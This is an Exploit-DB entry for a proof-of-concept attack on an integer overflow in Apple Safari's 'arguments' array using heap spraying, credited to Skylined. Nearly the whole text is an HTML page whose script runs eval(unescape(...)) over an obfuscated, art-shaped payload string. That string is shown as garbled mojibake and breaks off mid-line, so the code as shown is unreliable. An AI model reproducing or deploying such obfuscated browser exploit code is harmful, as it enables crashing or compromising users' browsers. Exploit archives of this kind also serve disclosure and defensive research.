Exploit-DB #7673
Description: Apple Safari - 'ARGUMENTS' Array Integer Overflow HeapSpray (PoC)
Type: dos
Platform: multiple
Date: 2009-01-05
Author: Skylined

Exploit:
<BODY>
	<CODE id="sploit status"></CODE>
	<CODE id="heapspray status"></CODE>
	<SCRIPT>

i=0;eval(unescape(("gÃ‚#MÃ‚Ã‚Ã‚#Ã‚g#Ã‰Ã„ÃŠÃ…@Ã…Ã‘Ã…Ã…Ã…Ã˜Ã…Ã‰Ã…ÃŠÃ†@gÃ‘Ãœ@ÃœÃ‘ÃœÃ‚Ãœ#ÃœÃ„ÃœÃ…ÃœÃ†ÃœgÃœÃ˜ÃœÃ‰ÃœÃŠÃœÃ‹ÃœÃœÃœMÃœNÃœÃŸM@MÃ‘MÃ‚M#MÃ„MÃ…MÃ†MgMÃ˜MÃ‰MÃŠMÃ‹MÃœMMMNMÃŸN@NÃ‘NÃ‚N#NÃ„NÃ…NÃ†NgNÃ˜NÃ‰NÃŠNÃ‹NÃœNMNNNÃŸÃŸ@ÃŸÃ‘ÃŸÃ‚ÃŸ#ÃŸÃ„ÃŸÃ…ÃŸÃ†ÃŸgÃŸÃ˜ÃŸÃ‰ÃŸÃŠÃŸÃ‹ÃŸÃœÃŸMÃŸNÃŸÃŸÃ‚Ã‚#Ã‹Ã†Ã„#MÃ‚Ã‚MÃ‚gÃ„gÃ‰g@Ã†Ã…Ã†ÃŸÃ†Ã†Ã‚Ã˜NgÃ‚Ã‰#MÃŸÃ„Ng#MNÃ˜#Ã‹NÃ˜#MÃ†Ã†Ã•Ã…Ã‚@M#Ã…ÃŸÃŸÃŸgÃ„Ã‚ÃœÃ†Ã…N#MÃ‚Ã‚Ã‘Ã†Ã•Ã‚Ã‰Ã†Ã…#MÃ£Ã‘#Ã‹MÃ‚Ã‚Ã‘gÃ„Ã‚Ã‰gÃ„#M#Ã#Ã#\
Ã‹g                                                                                                                                                                                                                                                                                  #\
#M                                                                                                                       NgÃ‚NÃ†#Ã†QÃ†                                                                                                                                                  Ãœ\
Ã†Ãœ                                                                                                                  Ã‚Ã˜gÃ„ÃŸÃ…Ã‚ÃœgÃ„Ã‚Ã‰#Ã‹MÃ‚g#N                                                                                                                                             @\
#Ãœ                                                                                                              Ã†Ã…Ã‚Ã‰g##MÃ†NÃ†Ã•ggÃ‚@Ã„Ã‘gÃ‚gÃ‚Ã†Ã‘gÃ‰                                                                                                                                          Ã‚\
Ã˜Ã†                                                                                                            Ã…Ã‚Mg#N@Ã‚Ã‹#Ã‘Ã‚Ã‰Ã‚NÃ†ÃŠÃ†ÃŸMÃŠÃ‚Ã˜Ã…ÃœÃ‚Ã‚#@Ãœ                                                                                                                                        Ã†\
Ã‚Ã‹                          g##Ã‹NMgÃ„gÃ…gÃ‚Ã†                                                                   NÃ‚@g##Ã‹gM#Ã‹Ã†gÃ†Ãœ        Ã…@#MgÃ‹Ã…ÃœÃ‚Ã‚                                                                                                                               Ã„MÃ…#Ã„   Ã‰\
Ã„Ã…                    Ã‚@#gÃ„@Ã„NÃ…Ã„Ã‚@#Ã…Ã‚N#Ã‘ÃŸÃ†NÃ‘#ÃÃŸ                                                            g#Ã‘Ãœ#Ãœ#gMMÃ…Ã„                MÃ…#Ã„Ã‰Ã„Ã…                                                                                                                           Ã‚@#gÃ„@Ã„NÃ…  Ã„\
Ã‚@                 #Ã†Ã‚N#ÃÃŸÃ†NÃ‘#Ã†ÃŸg##Ãœ#Ãœ#gMNN#Ã…Ã‚N#Ã‘Ã„ÃŠ                                                       NN#Ã†Ã‚N#ÃÃ„ÃŠg                    M#Ã‹Ã†Ã†Ã…                                                                                         Ã…Ã‚Ã                           ÃŸÃ˜#Ã‚Ã‚Ã˜gÃ„Ã‚ÃœÃ†Ã…  Ã‚\
Ãœg              #N#MÃ†Ã£MgÃ„#ÃŸgÃ„#ÃŠNÃ‘Ã„Ã„#@Ã„Ã„#@Ã„Ã„#@Ã„Ã„ÃœÃ‹Ã†Ã‘ÃŸÃ‰                                                    g##Mg##ÃŸg##                      ÃŠgÃ‹gMÃœ                                                                                          Ã‹ÃŸÃŠ#MÃ†                  Ã…Ã£ÃŸÃ†Ã…#ÃŠÃ…ÃœÃ‚Ã‚Ã…ÃœÃ…Ãœ   #\
@Ã…            ÃœÃ‚Ã‚ÃœÃ‹Ãœg#MNÃ‘#Ã†Ãœ#Ãœ#ÃœÃ‹Ã…Ã˜#MNÃ‘#ÃÃœ#Ãœ##Ã‹Ã…ÃŠ#MNÃ‘Ã£@                                                  #Ã‘Ãœ##Ã#ÃÃœÃ‹                        Mg#MÃ†                                                                                              Ã†Ã¦Ã‘Ã†Ãœg#Ã†Ã…Ãœ    Ã‹Ã†Ã‰Ã…Ã‰ÃœÃ‚#M#   ÃgÃ˜#Ã‚#Ã    Ãœ\
Ã‹Ã†          Ã‰Ã…Ã‘ÃœÃ‚#M#Ã„ÃœÃ‹Ã†Ã‰Ã…Ã‘NÃŸÃ…#Ã†Ã‰gÃŠÃ†Ã…#MÃ£Ã‚ÃœÃ‹MÃ‘#MÃ†NgÃ…Ã†ÃœÃ†ÃœÃœ                                                Ã‹g#Ã„ÃœÃ†ÃŸÃ†g#M                         Ã…ÃœÃ‚Ã‚Ã…                                                                                                   ÃœÃ‚Ã‚ÃœÃ‹g#Ã…#MÃ˜        #MÃ…ÃœÃ‚Ã‚Ã…      Ãœ\
Ã‚Ã‚        ÃœÃ‹MÃœ#MÃ†NgÃ…Ã†ÃœÃ†Ãœ#Ã‹Ã†Ã‰ÃœÃœ       Ã‚Ã˜Ã„#Ã†Ã˜gÃ‚Ã†ÃŸÃ†MÃ†Ã…MÃgÃœÃŸÃ‹                                               Ã‚Ã˜Ã„Ã†Ã†Ã‰NMÃ†Ã†Ã†                         ÃŸgÃ˜M@                                                                                                                     gÃœÃŸÃ‹Ã‚Ã˜        Ã„\
MÃ…       #Ã„Ã‰Ã„Ã…Ã‚@Ã…ÃœÃ…ÃœÃ†Ã„Ã‚Ã‹Ã‚                Ã‰ÃŸÃ‹gÃœÃŸÃ‹Ã…Ã†ÃœÃŠg#Ã†Ã‰Ã†                                               ÃŸÃ†NÃ‚Ã˜M@Ã‚Ã˜Ã…#Ã†                         ÃÃ†Ã†Ã¦                                                                                                                    Ã‘gÃ‚Ã†Ã‰          Ã‚\
Ã‰ÃŸ      Ã‹gÃœÃŸÃ‹Ã‚Ã˜Ã„ÃŸg@ÃœÃŠÃ†                     Ã‘MÃgÃœÃŸÃ‹Ã‚ÃŸMÃ…Ã‚Ã„#Ã‘                                              Ã‚Ã„#Ã‚Ã‚Ã„#Ã£Ã‚Ã„#Ã…Ã‚Ã„#                      Ã„Ã‚Ã„#Ã†                                                                                                                  ÃœÃ†#Ã‹g           Ã‚\
ÃœÃœ     Ã…ÃœÃ…ÃœÃ‚Ã˜ÃŸÃ‹Ã…gMÃŠÃ†                        Ã„Ã†ÃŸggg#Ã‚@Ã‚Ã˜Ã…Ã‹Ã…                                              N#Ã‹Ã…MÃ‚ÃŠÃ‚Ã‰ÃŸÃ‹Ã‚ÃŸMÃ…Ã‚Ã„#Ã‘ÃœÃ†                #Ã‹Ã†N#                                                                                                                 MÃ†Ã‰ÃœN            Ã„\
@ÃŸ     @gÃ‚#Ã‹Ã…@#MÃ†gÃ†                         ÃœÃ…@Ã…Ã‹Ã†NÃ…M#Ã‹MÃ‚Ã…                                               @Ã‚Ã‰Ã†Ã†Ã†ÃŸgÃ‚Ã‚Ã˜g#NÃ„Ã‚                     @MÃŠÃ‚       @Ã…@Ã‚Ã‰g                                                                                                    Ã„ÃŸÃ…Ã…             Ã‹\
g#    NÃ„Ã…M#MÃ…@Ã…Ã‹g#N                       Ã„Ã…MgÃ‘MÃ‹Ã†ÃŸÃ‚ÃœÃ†Ã‘N#M                                               MÃ£MÃ†NÃ†Ã…ggÃ‚@Ã„                         Ã†Ã…Ã…Ã‚      Ã˜Ã…ÃœÃ‚Ã‚ÃœMÃ‚                                                                                                  NÃ†Ã†Ã„              Ã†\
Ã…Ã…    Ã‚NÃ†Ã£Ã†Ã‘Ã†ÃœÃ†ÃœÃ‚Ã˜                 ÃœMÃ‚NÃ†ÃŸÃ…Ã„ÃŸÃ…Ã‚Ã‰ÃœÃ†#Ã‹MMÃ‚NÃ†ÃŸÃ…                                                Ã„ÃŸÃ…#MgÃ„ÃŸÃ…